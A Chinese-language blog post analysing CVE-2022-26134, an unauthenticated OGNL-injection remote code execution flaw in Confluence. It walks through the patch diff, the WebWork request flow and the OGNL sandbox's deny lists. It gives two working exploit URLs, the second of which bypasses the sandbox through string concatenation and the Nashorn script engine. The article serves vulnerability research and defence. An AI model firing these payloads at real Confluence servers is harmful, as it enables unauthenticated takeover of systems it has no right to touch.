confluence-CVE-2022-26134漏洞分析

一颗小胡椒2022-06-22 06:29:04

漏洞背景

官方链接:https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

SummaryCVE-2022-26134 - Critical severity unauthenticated remote code execution vulnerability in Confluence Server and Data CenterAdvisory Release Date02 Jun 2022 1 PM PDT (Pacific Time, -7 hours)Affected ProductsConfluenceConfluence ServerConfluence Data CenterAffected VersionsAll supported versions of Confluence Server and Data Center are affected.Confluence Server and Data Center versions after 1.3.0 are affected.Fixed Versions7.4.17

7.13.7

7.14.3

7.15.2

7.16.4

7.17.4

7.18.1

所有版本的 Confluence 和 DataCenter 都会受影响

临时修复方式:

  • 7.15.0-7.18.0: 替换xwork-1.0.3-atlassian-10.jar文件
  • 6.0.0-7.14.2: 替换以下文件
  • xwork-1.0.3-atlassian-10.jar
  • webwork-2.1.5-atlassian-4.jar
  • CachedConfigurationProvider.class

代码分析

diff 补丁

xwork-1.0.3-atlassian-10.jar和低版本进行反编译 diff

区别在于将

finalNamespace = TextParseUtil.translateVariables(this.namespace, stack = ActionContext.getContext().getValueStack())
finalActionName = TextParseUtil.translateVariables(this.actionName, stack))

修改为

finalNamespace = this.namespace, 
finalActionName = this.actionName

少了TextParseUtil.translateVariables()的流程

该函数处理调用了

Object o = OgnlValueStack.findValue(g);
...
Ognl.getValue(OgnlUtil.compile(expr), this.context, this.root);

较为明显的ognl表达式注入,那我们来看一下具体的触发流程。

WebWork 框架分析

Confluence 使用 WebWork 框架,框架调用流转图, 整个 HTTP 请求逻辑是随着这个框架处理流程来的。

  1. 客户发起 HTTP 流程访问
  2. 按照 servlet 规范,先由 filter 进行处理,然后由 WebWork 核心控制器 ServletDispatcher 进行处理
  3. WebWork 根据 xwork.xml 配置文件 来处理请求:在配置文件中定义路由对应的拦截器,业务逻辑,业务逻辑响应等部分
  4. 先依次调用拦截器(before),然后再由业务逻辑处理
  5. 根据业务逻辑返回的响应类型对响应进行渲染
  6. 依次调用拦截器(after),然后将响应输出

confluence 在web.xml中引入WebWork框架配置

 action
 com.atlassian.confluence.servlet.ConfluenceServletDispatcher
 1
 action
 *.action

ConfluenceServletDispatcher基类com.opensymphony.webwork.dispatcher.ServletDispatcher

框架配置说明文件:xwork.xml文件,在 jar 包confluence-版本号.jar

对配置文件进行说明

一个Demo ?

action 映射逻辑,指定 url 映射的处理类

请求如下的url/person/jasperList.action

  1. package 命名空间 name:person, namespace person , 对应一级路径
  2. action 最小的处理单元,name:jasperList, 对应二级路径,class 处理类:com.opensymphony.webwork.showcase.jasper.JasperAction
  3. result 响应结果是枚举类型 "success", 响应类型为 jasper
  4. param 参数:参数名和参数类型

再举一个例子 login.action

confluence 7.4.10 版本 xwork.xml 文件,default命名空间下的login action,访问路径/login.action

  1. package 命名空间 name:default,在未匹配到命名空间的情况下映射到该命名空间处理。(注意此刻一级目录为空)
  2. action name:login, class 处理类:com.atlassian.confluence.user.actions.LoginAction , 处理方法doDefault
  3. interceptor-refvalidatingStack,引用拦截器validatingStack
  4. 响应结果input, 类型为 velocity,使用login.vm进行渲染

interceptor-ref配置的拦截器集合validatingStack,其中又引用了defaultStack,captcha,validator,workflow,profiling等拦截器, 拦截器集合是可以进行嵌套的。

 "validatingStack">
 "defaultStack"/>
 
 "captcha"/>
 "validator"/>
 "workflow"/>
 "profiling">
  "location">After validatingStack
 

再再举一个例子 index.action

default命名空间下,默认访问的 action 为index,访问根目录会使用index进行响应

"index" class="com.atlassian.confluence.core.actions.IndexAction">
 "defaultStack"/>
 "redirect" type="redirect">${location}
 "forward" type="dispatcher">${location}

配置了defaultStack进行处理

看一下defaultStack拦截器的配置,注意拦截器是按照配置依次调用的,存在顺序。

"defaultStack">
 "profiling">
  "location">Before defaultStack
 
 "securityHeaders"/>
 "setupIncomplete"/>
 "transaction"/>
 "params"/>
 "autowire"/>
 "lastModified"/>
 "servlet"/>
 "flashScope"/>
 "confluenceAccess"/>
 "spaceAware"/>
 "pageAware"/>
 "commentAware"/>
 "userAware"/>
 "prepare"/>
 
 
 "bootstrapAware"/>
 "permissions"/>
 
 
 
 
 
 
 "cancel"/>
 "loggingContext"/>
 "eventPublisher"/>
 "messageHolder"/>
 "httpRequestStats"/>
 "licenseChecker"/>
 "xsrfToken"/>
 "profiling">
  "location">After defaultStack
 

关注其中的confluenceAccess拦截器,该拦截器定义如下

"confluenceAccess" class="com.atlassian.confluence.security.interceptors.ConfluenceAccessInterceptor" />

intercept 函数

如果!this.isAccessPermitted(actionInvocation)返回为否,那么调用actionInvocation.invoke(), 调用下一个 intercept,如果返回为,也就是没有权限,返回为notpermitted

默认未授权访问,即action=index时,是没有权限的,此刻会响应notpermittedresult类型之一

如果授权会调用actionInvocation.invoke(),调用下一个拦截器,如果响应resultCode,会调用this.execuResult(), 大家可以回想一下 WebWork 的数据流图。代码逻辑如下

如果响应有权限,那么会递归调用actionInvocation.invoke(), 否则输出 resultCode,进入 executeResult()。

接下来跟踪调用栈,ActionChainResult#exec调用了TextParseUtil@translateVariables, 然后就快进到 ongl 表达式的执行流程了

可知 namespace 是我们可控的 url 路径参数

可以函数com.opensymphony.xwork.util.OgnlValueStack#findValue看到调用Ognl.getValue即可造成 ognl 代码执行

相应poc如下

GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/pwned%22%29%7D/ HTTP/1.1
Host: 10.211.55.8:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-CA,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: JSESSIONID=4290F6F6B5E0E923B2905B45CBE887AB
Upgrade-Insecure-Requests: 1

绕沙箱

关注一下com.opensymphony.xwork.util.OgnlValueStack#findValue实现

官方说明:https://confluence.atlassian.com/doc/preparing-for-confluence-7-15-1087507468.html

在 7.15 版本中添加,阻止对 java 特定类和特定包访问,与https://struts.apache.org/security/#internal-security-mechanism相似

表达式经过safeExpressionUtil.isSafeExpression判断

com.opensymphony.xwork.util.SafeExpressionUtil沙箱类分析

关键配置

  • xwork.excludedClasses - a comma-separated list of excluded classes.
  • xwork.excludedPackageNames - a comma-separated list of excluded packages, used to restrict all classes inside a particular package or its sub-packages.
  • xwork.allowedClasses - a comma-separated list of particular classes to be marked as allowed specifically, even if the parent package is restricted or its static method is used.

黑白名单列表

"xwork.excludedClasses"
 value="
 java.lang.Object,
 java.lang.Runtime,
 java.lang.System,
 java.lang.Class,
 java.lang.ClassLoader,
 java.lang.Shutdown,
 java.lang.ProcessBuilder,
 java.lang.Thread,
 sun.misc.Unsafe,
 com.opensymphony.xwork.ActionContext
 java.lang.Compiler,
 java.lang.InheritableThreadLocal,
 java.lang.Package,
 java.lang.Process,
 java.lang.RuntimePermission,
 java.lang.SecurityManager,
 java.lang.ThreadGroup,
 java.lang.ThreadLocal,
 javax.script.ScriptEngineManager,
 javax.servlet.ServletContext,
 javax.persistence.EntityManager,
 org.apache.tomcat.InstanceManager,
 org.springframework.context.ApplicationContext,
 com.atlassian.applinks.api.ApplicationLinkRequestFactory,
 com.atlassian.core.util.ClassLoaderUtils,
 com.atlassian.core.util.ClassHelper" />
 "xwork.excludedPackageNames"
 value="
 ognl,
 java.io,
 java.net,
 java.nio,
 javax,
 freemarker.core,
 freemarker.template,
 freemarker.ext.jsp,
 freemarker.ext.rhino,
 sun.misc,
 sun.reflect,
 javassist,
 org.apache.velocity,
 org.objectweb.asm,
 org.springframework.context,
 com.opensymphony.xwork.util,
 org.apache.tomcat,
 org.apache.catalina.core,
 org.wildfly.extension.undertow.deployment
 java.lang.reflect,
 com.atlassian.cache,
 com.atlassian.confluence.util.http,
 com.atlassian.failurecache,
 com.atlassian.vcache,
 com.atlassian.sal.api.net,
 com.google.common.cache,
 com.google.common.net,
 com.hazelcast,java.jms,
 java.rmi,
 javax.management,
 javax.naming,
 org.apache.catalina.session,
 org.apache.commons.httpclient,
 org.apache.httpcomponents.httpclient,
 org.apache.http.client,
 org.ehcache,
 com.google.common.reflect,
 com.sun.jmx,com.sun.jna,
 javax.xml,jdk.nashorn,
 net.bytebuddy,
 net.sf.cglib,org.apache.bcel,
 org.javassist,org.ow2.asm,
 sun.awt.shell,
 sun.corba,
 sun.invoke,
 sun.launcher,
 sun.management,
 sun.misc,
 sun.net,
 sun.nio,
 sun.print,
 sun.reflect,
 sun.rmi,
 sun.security,
 sun.tracing,
 sun.tools.jar,
 com.atlassian.activeobjects,
 com.atlassian.hibernate,
 java.sql,
 javax.persistence,
 javax.sql,
 liquibase,
 net.java.ao,
 net.sf.hibernate,
 com.atlassian.confluence.setup.bandana,
 com.atlassian.filestore,
 com.atlassian.media,
 com.google.common.io,
 java.util.jar,
 java.util.zip,
 org.apache.commons.io,
 com.atlassian.confluence.impl.util.sandbox,
 com.atlassian.confluence.util.io,
 com.atlassian.confluence.util.sandbox,
 com.atlassian.quartz,
 com.atlassian.scheduler,
 com.atlassian.utils.process,
 com.atlassian.util.concurrent,
 io.atlassian.util.concurrent,
 java.util.concurrent,
 org.apache.commons.exec,
 org.springframework.expression.spel,
 org.springframework.util.concurrent,
 org.quartz,
 oshi" />
"xwork.allowedClasses"
 value="com.atlassian.confluence.util.GeneralUtil,
  java.io.Serializable,
  java.lang.reflect.Proxy,
  net.sf.hibernate.proxy.HibernateProxy,
  net.sf.cglib.proxy.Factory,
  java.io.ObjectInputValidation,
  net.java.ao.Entity,
  net.java.ao.RawEntity,
  net.java.ao.EntityProxyAccessor" />

沙箱核心逻辑,调用OgnlUtil.compile对表达式进行解析,对每一个 node compile 之后进行递归的安全判断。

 private boolean isSafeExpressionInternal(String expression, Set visitedExpressions) {
 if (!this.SAFE_EXPRESSIONS_CACHE.contains(expression)) {
  if (this.UNSAFE_EXPRESSIONS_CACHE.contains(expression)) {
   return false;
  }
  if (this.isUnSafeClass(expression)) {
   this.UNSAFE_EXPRESSIONS_CACHE.add(expression);
   return false;
  }
  if (SourceVersion.isName(this.trimQuotes(expression)) && this.allowedClassNames.contains(this.trimQuotes(expression))) {
   this.SAFE_EXPRESSIONS_CACHE.add(expression);
  } else {
   try {
    Object parsedExpression = OgnlUtil.compile(expression);
    if (parsedExpression instanceof Node) {
     if (this.containsUnsafeExpression((Node)parsedExpression, visitedExpressions)) {
      this.UNSAFE_EXPRESSIONS_CACHE.add(expression);
      log.debug(String.format("Unsafe clause found in [\" %s \"]", expression));
     } else {
      this.SAFE_EXPRESSIONS_CACHE.add(expression);
     }
    }
   } catch (RuntimeException | OgnlException var4) {
    this.SAFE_EXPRESSIONS_CACHE.add(expression);
    log.debug("Cannot verify safety of OGNL expression", var4);
   }
  }
 }
 return this.SAFE_EXPRESSIONS_CACHE.contains(expression);
}

通过字符串拼接的方式绕过 node 类型为ASTconstant判断逻辑

private boolean containsUnsafeExpression(Node node, Set visitedExpressions) {
 String nodeClassName = node.getClass().getName();
 if (UNSAFE_NODE_TYPES.contains(nodeClassName)) {
  return true;
 } else if ("ognl.ASTStaticMethod".equals(nodeClassName) && !this.allowedClassNames.contains(getClassNameFromStaticMethod(node))) {
  return true;
 } else if ("ognl.ASTProperty".equals(nodeClassName) && this.isUnSafeClass(node.toString())) {
  return true;
 } else if ("ognl.ASTMethod".equals(nodeClassName) && this.unsafeMethodNames.contains(getMethodInOgnlExp(node))) {
  return true;
 } else if ("ognl.ASTVarRef".equals(nodeClassName) && UNSAFE_VARIABLE_NAMES.contains(node.toString())) {
  return true;
 } else if ("ognl.ASTConst".equals(nodeClassName) && !this.isSafeConstantExpressionNode(node, visitedExpressions)) {
  return true;
 } else {
  for(int i = 0; i < node.jjtGetNumChildren(); ++i) {
   Node childNode = node.jjtGetChild(i);
   if (childNode != null && this.containsUnsafeExpression(childNode, visitedExpressions)) {
    return true;
   }
  }
  return false;
 }
}

两个关键点

  1. 利用反射构造恶意对象及实例
  2. 利用字符串拼接绕过常量匹配

对应 poc 如下

/%24%7BClass.forName(%22java%22%2B%22x.script.Script%22%2B%22EngineManager%22).newInstance().getEngineByName(%22nashorn%22).eval(%22java.lang.Runtime.getRuntime().exec(%27touch%20/tmp/test2%27)%22)%7D/ 
confluencenode
本作品采用《CC 协议》,转载必须注明作者和本文链接
confluence-CVE-2022-26134漏洞分析
前段时间Confluence发布了CVE-2021-26085补丁,刚好之前分析过Confluence的漏洞,免去了搭建漏洞分析环境的麻烦,因此分析下这个漏洞。 分析过程 漏洞点定位 这个漏洞爆出来已经有一段时间了,所以已经有公开的POC了
CVE-2022-26134 Confluence OGNL RCE 漏洞深入分析和高版本绕过沙箱实现命令回显
S2-009是S2-003与S2-005的补丁绕过,当时的补丁是增加了正则以及相关的限制,主要的防御还是正则。
F-vuln(全称:Find-Vulnerability)是为了自己工作方便专门编写的一款自动化工具,主要适用于日常安全服务、渗透测试人员和RedTeam红队人员,它集合的功能包括:存活IP探测、开放端口探测、web服务探测、web漏洞扫描、smb爆破、ssh爆破、ftp爆破、mssql爆破等其他数据库爆破工作以及大量web漏洞检测模块。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
2022年04月12日,Apache官方发布了Apache Struts2的风险通告,漏洞编号为CVE-2021-31805,漏洞等级:高危,漏洞评分:8.5。Apache Struts 2是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java Servlet API,
展示在Kubernetes集群中的攻击和防御思路
LaTeX是一种基于ΤΕΧ的排版系统,由美国计算机学家莱斯利·兰伯特在20世纪80年代初期开发,利用这种格式,即使使用者没有排版和程序设计的知识也可以充分发挥由TeX所提供的强大功能,能在几天、甚至几小时内生成很多具有书籍质量的印刷品。对于生成复杂表格和数学公式,这一点表现得尤为突出。因此它非常适用于生成高印刷质量的科技和数学类文档。
低代码成了企追求的主流目标,与使用计算机编程语言构建应用程序的传统方法不同,低代码开发平台是使用图形向导来创建和构建软件的应用程序开发平台。因此,在许多情况下,低代码或无代码(几乎没有代码)这个名称是作为可视化开发工具来帮助设计人员进行拖放、组件浏览器和逻辑构建器的。
一颗小胡椒
暂无描述